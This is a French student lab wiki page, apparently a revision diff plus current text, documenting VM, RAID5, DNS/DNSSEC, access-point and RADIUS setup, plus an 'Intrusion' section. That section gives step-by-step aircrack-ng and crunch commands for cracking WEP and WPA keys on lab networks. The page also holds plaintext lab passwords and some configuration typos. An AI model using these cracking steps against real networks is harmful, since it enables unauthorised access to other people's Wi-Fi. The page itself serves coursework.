TP sysres SE2a5 2022/2023 G1 : Différence entre versions

De Wiki d'activités IMA
(Cahier de suivi - Groupe 1)
(Plan d’adressage)
 
(45 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 1 : Ligne 1 :
  
  
== Cahier de suivi - Groupe 1 ==
+
= Plan d’adressage =
 +
 
 +
{| class="wikitable"
 +
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM !! @IPv4 MV non routée !! @IPv4 MV  routée !! Nom de domaine !
 +
|-
 +
| Antonin / Hugo || 20 || 10.20.0.0/16 || - || 10.20.0.250 || 10.20.0.251 || 10.20.0.252 || 10.20.0.253 || - || HG || 172.26.145.76/24 || 193.48.57.163/28 || detestable.site
 +
|}
 +
 
 +
[[Fichier:Global scheme PRA 2020.png]]
 +
 
 +
= Machine Virtuelle =
 +
 
 +
== Création de la VM ==
 +
 
 +
Pour créer la VM nous avons besoin de nous connecter sur Capbreton qui est le serveur qui va "heberger" notre VM xen
 +
ssh root@capbreton.plil.info
 +
 
 +
On crée ensuite notre vm avec :
 +
xen-create-image --hostname=HG --gateway=193.48.57.175 --ip=193.48.57.163 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 +
 
 +
Pour acceder à la console de notre vm il faut modifier le fichier de configuration de notre VM (/etc/xen/HG.cfg) en y rajoutant :
 +
vif=['mac=00:16:3E:82:3E:78,bridge=IMA2a5' ]
 +
 
 +
On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :
 +
lvcreate -L10G -n HG-home storage
 +
lvcreate -L10G -n HG-var storage
 +
 
 +
Dans /etc/xen/HG.cfg :
 +
#  Disk device(s).
 +
#
 +
root        = '/dev/xvda2 ro'
 +
disk        = [
 +
                  'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
 +
                  'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
 +
                  'phy:/dev/storage/HG-home,xvdb1,w',
 +
                  'phy:/dev/storage/HG-var,xvdc1,w',
 +
              ]
 +
 
 +
 
 +
Pour demarrer notre VM nous utilisons :
 +
xen create /etc/xen/HG.cfg -c
 +
 
 +
Le -c sert a se connecter directement
 +
 
 +
Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:
 +
/dev/xvda3 /home ext4 defaults 0 2
 +
/dev/xvda4 /var  ext4 defaults 0 2
 +
 
 +
On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:
 +
mkfs.ext4 /dev/xdva3
 +
 
 +
==Sécurisation des données - RAID5==
 +
 
 +
On sécurise nos données à l'aide de RAID5
 +
 
 +
Installer les paquets nécessaires sur la VM et capbreton :
 +
apt install mdadm
 +
 
 +
Créer les partitions virtuelles pour le RAID :
 +
lvcreate -L1G -n detestable-raid-1 virtual
 +
lvcreate -L1G -n detestable-raid-2 virtual
 +
lvcreate -L1G -n detestable-raid-3 virtual
 +
 
 +
Dans /etc/xen/HG.cfg :
 +
#  Disk device(s).
 +
#
 +
root        = '/dev/xvda2 ro'
 +
disk        = [
 +
                  'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
 +
                  'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
 +
                  'phy:/dev/storage/HG-home,xvdb1,w',
 +
                  'phy:/dev/storage/HG-var,xvdc1,w',
 +
                  'phy:/dev/virtual/detestable-raid-1,xvdd1,w',
 +
                  'phy:/dev/virtual/detestable-raid-2,xvdd2,w',
 +
                  'phy:/dev/virtual/detestable-raid-3,xvdd3,w'
 +
                ]
 +
On redémarre la VM :
 +
xen create /etc/xen/HG.cfg -c
 +
Créer le RAID5 à l’aide de la commande mdadm :
 +
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3
 +
Formater la partition RAID5 :
 +
mkfs.ext4 /dev/md0
 +
Ajout de la partition au fichier /etc/fstab :
 +
/dev/md0 /media/raid ext4 defaults 0 1
 +
On recharge les partitions afin de prendre en compte le RAID :
 +
mount -a
 +
 
 +
Vérification
 +
 
 +
[[Fichier:RAID5_detestable.png]]
 +
 
 
== Serveur DNS ==
 
== Serveur DNS ==
 
+
===DNS===
Dans un premier temps, on utilise le registrar [[gandi.net|Gandi]] afin de réserver le nom de domaine <code>demineur.site</code>.<br />
+
Dans un premier temps, on utilise le registrar [[gandi.net|Gandi]] afin de réserver le nom de domaine <code>detestable.site</code>.<br />
 
Une fois le nom de domaine réservé, il est alors possible de configurer les serveurs de noms et les Glue Records :<br />
 
Une fois le nom de domaine réservé, il est alors possible de configurer les serveurs de noms et les Glue Records :<br />
  → Ajouter le Glue Record vers <code>193.48.57.164</code> afin d’associer le nom de domaine <code>demineur.site</code> à l’adresse IP <code>193.48.57.164</code><br />
+
  → Ajouter le Glue Record vers <code>193.48.57.163</code> afin d’associer le nom de domaine <code>detestable.site</code> à l’adresse IP <code>193.48.57.163</code><br />
  → Modifier les serveurs de noms pour utiliser <code>ns.demineur.site</code> et <code>ns6.gandi.net</code><br />
+
  → Modifier les serveurs de noms pour utiliser <code>ns.detestable.site</code> et <code>ns6.gandi.net</code><br />
En attendant que les serveurs de noms soient correctement modifiés, il est possible de changer les enregistrements DNS :<br />
 
  → Modifier l’enrgistrement DNS <code>@</code>-<code>A</code> avec la valeur <code>193.48.57.193</code><br />
 
  → Ajouter l’enrgistrement DNS <code>ns</code>-<code>A</code> avec la valeur <code>193.48.57.193</code><br />
 
  → Modifier l’enrgistrement DNS <code>www</code>-<code>CNAME</code> avec la valeur <code>ns.demineur.site.</code>
 
  
 
* Installation du paquet <code>bind9</code>
 
* Installation du paquet <code>bind9</code>
Ligne 18 : Ligne 104 :
 
* Modification du fichier <code>/etc/resolv.conf</code> :
 
* Modification du fichier <code>/etc/resolv.conf</code> :
  
<pre>nameserver 127.0.0.1</pre>
+
<pre>nameserver 193.48.57.48</pre>
 
* Modification du fichier <code>/etc/bind/named.conf.local</code> :
 
* Modification du fichier <code>/etc/bind/named.conf.local</code> :
  
<pre>zone &quot;demineur.site&quot; {
+
<pre>zone &quot;detestable.site&quot; {
 
     type master;
 
     type master;
     file &quot;/etc/bind/db.demineur.site&quot;;
+
     file &quot;/etc/bind/db.detestable.site&quot;;
 
     allow-transfer { 217.70.177.40; }; // ns6.gandi.net
 
     allow-transfer { 217.70.177.40; }; // ns6.gandi.net
 
};</pre>
 
};</pre>
Ligne 30 : Ligne 116 :
 
<pre>options{
 
<pre>options{
 
   directory &quot;/var/cache/bind&quot;;
 
   directory &quot;/var/cache/bind&quot;;
  forwarders {
 
    8.8.8.8;
 
    4.4.2.2;
 
  };
 
 
   dnssec-validation auto;
 
   dnssec-validation auto;
 
   listen-on-v6 { any; };
 
   listen-on-v6 { any; };
Ligne 39 : Ligne 121 :
 
};
 
};
 
acl &quot;allowed_to_transfer&quot; {
 
acl &quot;allowed_to_transfer&quot; {
   217.70.177.40/32;
+
   193.48.57.0/24;
 
};</pre>
 
};</pre>
* Créer le fichier BIND pour <code>demineur.site</code> :
+
* Créer le fichier BIND pour <code>detestable.site</code> :
  
<pre>cp /etc/bind/db.local /etc/bind/db.demineur.site</pre>
+
<pre>cp /etc/bind/db.local /etc/bind/db.detestable.site</pre>
* Modification du fichier <code>/etc/bind/db.demineur.site</code> :
+
* Modification du fichier <code>/etc/bind/db.detestable.site</code> :
  
 
<pre>;
 
<pre>;
; BIND data file for demineur.site
+
; BIND data file for detestable.site
 
;
 
;
 
$TTL    604800
 
$TTL    604800
@      IN      SOA    ns.demineur.site. root.demineur.site. (
+
@      IN      SOA    ns.detestable.site. root.detestable.site. (
                               1         ; Serial
+
                               3         ; Serial
 
                         604800        ; Refresh
 
                         604800        ; Refresh
 
                           86400        ; Retry
 
                           86400        ; Retry
Ligne 57 : Ligne 139 :
 
                         604800 )      ; Negative Cache TTL
 
                         604800 )      ; Negative Cache TTL
 
;
 
;
@  IN  NS  ns.demineur.site.
+
@  IN  NS  ns.detestable.site.
 
@  IN  NS  ns6.gandi.net.
 
@  IN  NS  ns6.gandi.net.
@  IN  A  193.48.57.164
+
@  IN  A  193.48.57.163
NS  IN  A  193.48.57.164
+
NS  IN  A  193.48.57.163
NS  IN  AAAA    2001:7A8:116E:60A4::1
+
NS  IN  AAAA    2001:660:4401:60a0:216:3eff:fe82:3e78
 
WWW IN  CNAME  NS
 
WWW IN  CNAME  NS
 
SSH IN  CNAME  NS</pre>
 
SSH IN  CNAME  NS</pre>
Ligne 71 : Ligne 153 :
 
* Modification du fichier <code>/etc/resolv.conf</code>
 
* Modification du fichier <code>/etc/resolv.conf</code>
  
<pre>nameserver 193.48.57.164</pre>
+
<pre>nameserver 193.48.57.163</pre>
* Vérification de la traduction du nom de domaine <code>demineur.site</code> :
+
* Vérification de la traduction du nom de domaine <code>detestable.site</code> :
 +
 
 +
<pre>nslookup detestable.site</pre>
 +
 
 +
===DNSSEC===
 +
 
 +
* Modification du fichier <code>/etc/bind/named.conf.options</code> :
 +
 
 +
<pre>dnssec-enable yes;
 +
dnssec-validation yes;
 +
dnssec-lookaside auto;</pre>
 +
* Création du répertoire <code>detestable.site.dnssec</code> :
 +
 
 +
<pre>mkdir /etc/bind/detestable.site.dnssec/
 +
cd /etc/bind/detestable.site.dnssec/</pre>
 +
* Génération de la clef asymétrique de signature de clefs de zone :
 +
 
 +
<pre>dnssec-keygen -a RSASHA256 -b 2048 -f KSK -n ZONE detestable.site</pre>
 +
<pre>mv Kdetestable.site.*.key detestable.site-ksk.key
 +
mv Kdetestable.site.*.private detestable.site-ksk.private</pre>
 +
* Génération de la clef asymétrique de signature des enregistrements :
 +
 
 +
<pre>dnssec-keygen -a RSASHA256 -b 2048 -n ZONE detestable.site</pre>
 +
<pre>mv Kdetestable.site.*.key detestable.site-zsk.key
 +
mv Kdetestable.site.*.private detestable.site-zsk.private</pre>
 +
* Modification du fichier <code>/etc/bind/db.detestable.site</code> :
 +
 
 +
<pre>$include &quot;/etc/bind/detestable.site.dnssec/detestable.site-ksk.key&quot;
 +
$include &quot;/etc/bind/detestable.site.dnssec/detestable.site-zsk.key&quot;</pre>
 +
* Signature des enregistrements de la zone :
  
<pre>nslookup demineur.site</pre>
+
<pre>dnssec-signzone -o detestable.site -k detestable.site-ksk ../db.detestable.site detestable.site-zsk</pre>
 +
* Modification du fichier <code>/etc/bind/named.conf.local</code> :
  
= Sommaire =
+
<pre>zone &quot;demineur.site&quot; {
 +
    type master;
 +
    file &quot;/etc/bind/db.detestable.site.signed&quot;;
 +
    allow-transfer { 217.70.177.40; }; // ns6.gandi.net
 +
};</pre>
 +
Il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier <code>detestable.site-ksk.key</code>) à Gandi.<br />
 +
L’algorithme utilisé est le 8 (RSA/SHA-256).
  
* [[#plan-dadressage|Plan d’adressage]]
+
=== Tester DNSSEC : ===
* [[#machine-virtuelle|Machine Virtuelle]]
 
  
= Plan d’adressage =
+
<pre>cd /etc/bind/
 +
dnssec-verify -o detestable.site db.detestable.site.signed</pre>
 +
<pre>service bind9 restart</pre>
 +
 
 +
=== Vérifier son DNS avec dnsviz.net ===
 +
[[Fichier:dnsviz_detestable.png]]
 +
 
 +
=Connexion wifi=
 +
==Point d'accès wifi==
 +
Paramètres de minicom
 +
Serial Device : /dev/ttyUSB0
 +
 
 +
Mode terminal
 +
ap&gt;enable
 +
ap#configure terminal
 +
 
 +
Configuration du nom d’hôte :
 +
<pre>ap(config)#hostname SE2A5-AP1</pre>
 +
 
 +
Accès SSH :
 +
SE2A5-AP1(config)#aaa new-model
 +
SE2A5-AP1(config)#username admin privilege 15 secret glopglop
 +
SE2A5-AP1(config)#ip domain-name plil.info
 +
SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048
 +
SE2A5-AP1(config)#ip ssh version 2
 +
SE2A5-AP1(config)#line vty 0 15
 +
SE2A5-AP1(config-line)#transport input ssh
 +
SE2A5-AP1(config-line)#exit
 +
 
 +
Accès console :
 +
SE2A5-AP1(config)#line console 0
 +
SE2A5-AP1(config-line)#password glopglop
 +
SE2A5-AP1(config-line)#login authentification default
 +
SE2A5-AP1(config-line)#exit
 +
 
 +
Sécurisation des accès :
 +
SE2A5-AP1(config)#service password-encryption
 +
SE2A5-AP1(config)#enable secret glopglop
 +
SE2A5-AP1(config)#banner motd #Restricted Access#
 +
 
 +
VLAN n°20
 +
<SE2A5-AP1(config)#aaa authentication login EAP_toto group RADIUS_toto
 +
SE2A5-AP1(config)#radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key glopglop
 +
SE2A5-AP1(config)#aaa group server radius RADIUS_toto
 +
SE2A5-AP1(config-server)#server 193.48.57.163 auth-port 1812 acct-port 1813
 +
SE2A5-AP1(config-server)#exit
 +
SE2A5-AP1(config)#dot11 ssid SE2A5_1
 +
SE2A5-AP1(config-ssid)#vlan 20
 +
SE2A5-AP1(config-ssid)#authentication open eap EAP_toto
 +
SE2A5-AP1(config-ssid)#authentication network-eap EAP_toto
 +
SE2A5-AP1(config-ssid)#authentication key-management wpa
 +
SE2A5-AP1(config-ssid)#exit
 +
SE2A5-AP1(config)#interface dot11radio0.20
 +
SE2A5-AP1(config-subif)#encapsulation dot1q 20
 +
SE2A5-AP1(config-subif)#bridge-group 20
 +
SE2A5-AP1(config-subif)#exit
 +
SE2A5-AP1(config)#interface g0.20
 +
SE2A5-AP1(config-subif)#encapsulation dot1q 20
 +
SE2A5-AP1(config-subif)#bridge-group 20
 +
SE2A5-AP1(config-subif)#exit
 +
SE2A5-AP1(config)#interface dot11radio 0
 +
SE2A5-AP2(config-if)#no shutdown
 +
SE2A5-AP1(config-if)#encryption vlan 20 mode ciphers aes-ccm tkip
 +
SE2A5-AP1(config-if)#mbssid
 +
SE2A5-AP1(config-if)#ssid SE2A5_1
 +
SE2A5-AP1(config-if)#exit
 +
 
 +
Paramètres de minicom
 +
Serial Device : /dev/ttyACM0
 +
VLAN n°1 :
 +
SE2A5-AP1(config)#interface BVI 1
 +
SE2A5-AP1(config-if)#ip address 10.0.0.10 255.255.255.0
 +
SE2A5-AP1(config-if)#no shutdown
 +
SE2A5-AP1(config-if)#exit
 +
SE2A5-AP1(config)#ip default-gateway 10.0.0.1
 +
 
 +
== Configuration du serveur RADIUS ==
 +
 
 +
Le serveur RADIUS permet l’authentification des utilisateurs qui se connectent aux points d’accès Wifi (WPA-EAP).
 +
 
 +
* Installer le paquet <code>freeradius</code> :
 +
 
 +
<pre>apt install freeradius</pre>
 +
* Modifier le fichier <code>/etc/freeradius/clients.conf</code> :
 +
 
 +
<pre>client SE2A51 {
 +
        ipaddr  = 10.0.0.10
 +
        secret  = glopglop
 +
}
 +
}</pre>
 +
 
 +
* Ajouter un utilisateur en modifiant le fichier <code>/etc/freeradius/3.0/users</code> :
 +
 
 +
<pre>pifou Cleartext-Password := &quot;pasglop&quot;</pre>
 +
* Modifier le fichier <code>/etc/freeradius/3.0/mods-enables/eap</code> :
 +
 
 +
<pre>eap {
 +
  default_eap_type = peap
 +
  ...
 +
}</pre>
 +
* Arrêter le service <code>freeradius</code> durant la phase de tests :
 +
 
 +
<pre>service freeradius stop</pre>
 +
* Démarrer <code>freeradius</code> en mode debug :
 +
 
 +
<pre>freeradius -X</pre>
 +
Pendant que <code>freeradius</code> est en mode debug, tenter de se connecter au réseau Wifi qui a été créé et vérifier que celle-ci est prise en compte.<br />
 +
[[Fichier:freeradius_X.png]]
 +
 
 +
 
 +
 
 +
 
 +
 
 +
On peut également voir la connexion de l'appareil sur minicom
 +
 
 +
[[Fichier:connexion_minicom.png]]
 +
 
 +
Si la connexion est validée alors la configuration est correcte. Dans ce cas, arrêter le programme de debug et réactiver le service.
 +
 
 +
* Redémarrer le service <code>freeradius</code> :
 +
 
 +
<pre>service freeradius start</pre>
 +
 
 +
= Intrusion =
 +
 
 +
 
 +
== WEP ==
 +
 
 +
Pour casser une clé WEP il nous faut le logiciel Aircrack:
 +
apt-get install aircrack-ng
 +
 
 +
Il faut tout d'abord se mettre sur la bonne interface ethernet:
 +
airmon-ng start wlan0mon
 +
 
 +
On se met ensuite en écoute sur ce réseau en indiquant le cryptage (WEP)
 +
airodump-ng --encrypt wep wlan0mon
 +
 
 +
On recupere ensuite l'ESSID et le BSSID correspondant a notre groupe (Groupe 1)
 +
 
 +
(Ne pas juger la qualité du photographe)
 +
[[Fichier:WEP_Liste.jpg]]
 +
 
 +
On s'identifie
 +
aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon
 +
 
 +
Nous recuperons ensuite les VI que l'on stock dans un fichier qui nous permettera de casser la clé :
 +
airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon
 +
 
 +
Nous procédons maintenant a la fausse identification: 
 +
aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon
 +
 
 +
Il ne reste plus qu'a lancer le crack de la clé
 +
aircrack-ng -b 04:DA:D2:9C:50:50 output*.cap
 +
 
 +
 
 +
Resultat:
 +
 
 +
[[Fichier:cléWEP.jpeg]]
 +
 
 +
 
 +
== WPA ==
 +
 
 +
Nous allons utiliser le même logiciel que pour WEP (aircrack)
 +
 
 +
Pour recuperer la clé WPA, il faut attendre un handshake de krakote01
 +
airodump-ng wlx40a5efd2140c --essid kracotte01 -c 4 -w /tmp/wpa
 +
 
 +
Une fois le handshake recuperer nous allons generer un dictionvaire de mot de passe (ici une combinaison de 8 chiffres)
 +
crunch 8 8 0123456789 -o password.lst
 +
 
 +
Il nous reste plus qu'a utiliser aircrack comme ceci
 +
aircrack-ng -w password.lst wpa02.cap
 +
 
 +
Il faut desormais être patient et attendre 5h40 pour essayer tout le dictionnaire.
 +
 
 +
Un essaie en subdivisant a été fait mais sans resultat dans le temp imparti
 +
 
 +
Après 4 heures 1 minutes et 29 seconde nous avons la clé:
 +
66699666
 +
 
 +
[[Fichier:WPA_crack.png]]
 +
 
 +
=MINECRAFT=
 +
 
 +
Nous allons installer un serveur minecraft sur notre VM
 +
 
 +
Pour cela nous allons avoir besoin de DOCKER
 +
apt-get install docker
 +
 
 +
Une fois l'installation faite nous devons prendre une image de serveur minecraft:
 +
docker run -d -it -p 25565:25565 -e EULA=TRUE itzg/minecraft-server
 +
 
 +
Cette image vient du github: https://github.com/itzg/docker-minecraft-server
  
{| class="wikitable"
+
Nous mettons le port 25565 car c'est le port utilisé par minecraft
! Groupe !! VLAN !!  Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM !! @IPv4 MV non routée !! @IPv4 MV  routée !! Nom de domaine !
 
|-
 
| Antonin / Hugo || 20 || 10.20.0.0/16 || - || 10.20.0.250 || 10.20.0.251 || 10.20.0.252 || 10.20.0.253 || - || HG || 172.26.145.76/24 || 193.48.57.163/28 || detestable.site
 
|}
 
  
 +
Une fois cela fait nous pouvons visualiser les docker activité
 +
docker ps
  
= Machine Virtuelle =
 
  
== Création de la VM ==
+
[[Fichier:docker_minecraft.png]]
  
Pour créer la VM nous avons besoin de nous connecter sur Capbreton qui est le serveur qui va "heberger" notre VM xen
 
ssh root@capbreton.plil.info
 
  
On crée ensuite notre vm avec :
+
==Connexion==
xen-create-image --hostname=HG --gateway=193.48.57.175 --ip=193.48.57.163 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
 
  
Pour acceder à la console de notre vm il faut modifier le fichier de configuration de notre VM (/etc/xen/HG.cfg) en y rajoutant :
+
Pour se connecter il suffit d'avoir un minecraft et de renseigner l'IP du serveur
vif=['mac=00:16:3E:82:3E:78,bridge=IMA2a5' ]
 
  
On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :
+
[[Fichier:minecraft_pc.png]]
lvcreate -L10G -n HG-home storage
 
lvcreate -L10G -n HG-var storage
 
  
Dans /etc/xen/HG.cfg :
 
#  Disk device(s).
 
#
 
root        = '/dev/xvda2 ro'
 
disk        = [
 
                  'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
 
                  'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
 
                  'phy:/dev/storage/HG-home,xvdb1,w',
 
                  'phy:/dev/storage/HG-var,xvdc1,w',
 
              ]
 
  
  
Pour demarrer notre VM nous utilisons :
 
xen create /etc/xen/HG.cfg -c
 
  
Le -c sert a se connecter directement
+
Le problème avec ce serveur minecraft est sa gourmandise en memoire. En effet, celui-ci plante lorsqu'il y a trop de redstone sur le serveur ou qu'il y a une trop grosse explosion de TNT.
  
Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:
+
Cela doit être dû (pour la TNT) a un trop gros changement de map et besoin d'affichage qui nécessite trop de mémoire vive.
/dev/xvda3 /home ext4 defaults 0 2
 
/dev/xvda4 /var  ext4 defaults 0 2
 
  
On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:
+
Pour la redstone, étant donné que nous avons essayé de recréer des portes logique, cela devait trop "consommer"
mkfs.ext4 /dev/xdva3
 

Version actuelle datée du 30 novembre 2022 à 22:52


Plan d’adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 SSID VM @IPv4 MV non routée @IPv4 MV routée Nom de domaine !
Antonin / Hugo 20 10.20.0.0/16 - 10.20.0.250 10.20.0.251 10.20.0.252 10.20.0.253 - HG 172.26.145.76/24 193.48.57.163/28 detestable.site

Global scheme PRA 2020.png

Machine Virtuelle

Création de la VM

Pour créer la VM nous avons besoin de nous connecter sur Capbreton qui est le serveur qui va "heberger" notre VM xen

ssh root@capbreton.plil.info

On crée ensuite notre vm avec :

xen-create-image --hostname=HG --gateway=193.48.57.175 --ip=193.48.57.163 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Pour acceder à la console de notre vm il faut modifier le fichier de configuration de notre VM (/etc/xen/HG.cfg) en y rajoutant :

vif=['mac=00:16:3E:82:3E:78,bridge=IMA2a5' ]

On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :

lvcreate -L10G -n HG-home storage
lvcreate -L10G -n HG-var storage

Dans /etc/xen/HG.cfg :

#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
                 'phy:/dev/storage/HG-home,xvdb1,w',
                 'phy:/dev/storage/HG-var,xvdc1,w',
             ]


Pour demarrer notre VM nous utilisons :

xen create /etc/xen/HG.cfg -c

Le -c sert a se connecter directement

Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:

/dev/xvda3 /home ext4 defaults	0 2
/dev/xvda4 /var  ext4 defaults	0 2

On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:

mkfs.ext4 /dev/xdva3

Sécurisation des données - RAID5

On sécurise nos données à l'aide de RAID5

Installer les paquets nécessaires sur la VM et capbreton :

apt install mdadm

Créer les partitions virtuelles pour le RAID :

lvcreate -L1G -n detestable-raid-1 virtual
lvcreate -L1G -n detestable-raid-2 virtual
lvcreate -L1G -n detestable-raid-3 virtual

Dans /etc/xen/HG.cfg :

#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
                 'phy:/dev/storage/HG-home,xvdb1,w',
                 'phy:/dev/storage/HG-var,xvdc1,w',
                 'phy:/dev/virtual/detestable-raid-1,xvdd1,w',
                 'phy:/dev/virtual/detestable-raid-2,xvdd2,w',
                 'phy:/dev/virtual/detestable-raid-3,xvdd3,w'
               ]

On redémarre la VM :

xen create /etc/xen/HG.cfg -c

Créer le RAID5 à l’aide de la commande mdadm :

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3

Formater la partition RAID5 :

mkfs.ext4 /dev/md0

Ajout de la partition au fichier /etc/fstab :

/dev/md0 /media/raid ext4 defaults 0 1

On recharge les partitions afin de prendre en compte le RAID :

mount -a

Vérification

RAID5 detestable.png

Serveur DNS

DNS

Dans un premier temps, on utilise le registrar Gandi afin de réserver le nom de domaine detestable.site.
Une fois le nom de domaine réservé, il est alors possible de configurer les serveurs de noms et les Glue Records :
  → Ajouter le Glue Record vers 193.48.57.163 afin d’associer le nom de domaine detestable.site à l’adresse IP 193.48.57.163
  → Modifier les serveurs de noms pour utiliser ns.detestable.site et ns6.gandi.net

  • Installation du paquet bind9
apt install bind9
  • Modification du fichier /etc/resolv.conf :
nameserver 193.48.57.48
  • Modification du fichier /etc/bind/named.conf.local :
zone "detestable.site" {
    type master;
    file "/etc/bind/db.detestable.site";
    allow-transfer { 217.70.177.40; }; // ns6.gandi.net
};
  • Modification du fichier /etc/bind/named.conf.options :
options{
  directory "/var/cache/bind";
  dnssec-validation auto;
  listen-on-v6 { any; };
  allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
  193.48.57.0/24;
};
  • Créer le fichier BIND pour detestable.site :
cp /etc/bind/db.local /etc/bind/db.detestable.site
  • Modification du fichier /etc/bind/db.detestable.site :
;
; BIND data file for detestable.site
;
$TTL    604800
@       IN      SOA     ns.detestable.site. root.detestable.site. (
                              3         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@   IN  NS  ns.detestable.site.
@   IN  NS  ns6.gandi.net.
@   IN  A   193.48.57.163
NS  IN  A   193.48.57.163
NS  IN  AAAA    2001:660:4401:60a0:216:3eff:fe82:3e78
WWW IN  CNAME   NS
SSH IN  CNAME   NS
  • Redémarrage du service bind9 :
service bind9 restart

Tester DNS :

  • Modification du fichier /etc/resolv.conf
nameserver 193.48.57.163
  • Vérification de la traduction du nom de domaine detestable.site :
nslookup detestable.site

DNSSEC

  • Modification du fichier /etc/bind/named.conf.options :
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;
  • Création du répertoire detestable.site.dnssec :
mkdir /etc/bind/detestable.site.dnssec/
cd /etc/bind/detestable.site.dnssec/
  • Génération de la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA256 -b 2048 -f KSK -n ZONE detestable.site
mv Kdetestable.site.*.key detestable.site-ksk.key
mv Kdetestable.site.*.private detestable.site-ksk.private
  • Génération de la clef asymétrique de signature des enregistrements :
dnssec-keygen -a RSASHA256 -b 2048 -n ZONE detestable.site
mv Kdetestable.site.*.key detestable.site-zsk.key
mv Kdetestable.site.*.private detestable.site-zsk.private
  • Modification du fichier /etc/bind/db.detestable.site :
$include "/etc/bind/detestable.site.dnssec/detestable.site-ksk.key"
$include "/etc/bind/detestable.site.dnssec/detestable.site-zsk.key"
  • Signature des enregistrements de la zone :
dnssec-signzone -o detestable.site -k detestable.site-ksk ../db.detestable.site detestable.site-zsk
  • Modification du fichier /etc/bind/named.conf.local :
zone "demineur.site" {
    type master;
    file "/etc/bind/db.detestable.site.signed";
    allow-transfer { 217.70.177.40; }; // ns6.gandi.net
};

Il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier detestable.site-ksk.key) à Gandi.
L’algorithme utilisé est le 8 (RSA/SHA-256).

Tester DNSSEC :

cd /etc/bind/
dnssec-verify -o detestable.site db.detestable.site.signed
service bind9 restart

Vérifier son DNS avec dnsviz.net

Dnsviz detestable.png

Connexion wifi

Point d'accès wifi

Paramètres de minicom

Serial Device : /dev/ttyUSB0

Mode terminal

ap>enable
ap#configure terminal

Configuration du nom d’hôte :

ap(config)#hostname SE2A5-AP1

Accès SSH :

SE2A5-AP1(config)#aaa new-model
SE2A5-AP1(config)#username admin privilege 15 secret glopglop
SE2A5-AP1(config)#ip domain-name plil.info
SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048
SE2A5-AP1(config)#ip ssh version 2
SE2A5-AP1(config)#line vty 0 15
SE2A5-AP1(config-line)#transport input ssh
SE2A5-AP1(config-line)#exit

Accès console :

SE2A5-AP1(config)#line console 0
SE2A5-AP1(config-line)#password glopglop
SE2A5-AP1(config-line)#login authentification default
SE2A5-AP1(config-line)#exit

Sécurisation des accès :

SE2A5-AP1(config)#service password-encryption
SE2A5-AP1(config)#enable secret glopglop
SE2A5-AP1(config)#banner motd #Restricted Access#

VLAN n°20

<SE2A5-AP1(config)#aaa authentication login EAP_toto group RADIUS_toto
SE2A5-AP1(config)#radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key glopglop
SE2A5-AP1(config)#aaa group server radius RADIUS_toto
SE2A5-AP1(config-server)#server 193.48.57.163 auth-port 1812 acct-port 1813
SE2A5-AP1(config-server)#exit
SE2A5-AP1(config)#dot11 ssid SE2A5_1
SE2A5-AP1(config-ssid)#vlan 20
SE2A5-AP1(config-ssid)#authentication open eap EAP_toto
SE2A5-AP1(config-ssid)#authentication network-eap EAP_toto
SE2A5-AP1(config-ssid)#authentication key-management wpa
SE2A5-AP1(config-ssid)#exit
SE2A5-AP1(config)#interface dot11radio0.20
SE2A5-AP1(config-subif)#encapsulation dot1q 20
SE2A5-AP1(config-subif)#bridge-group 20
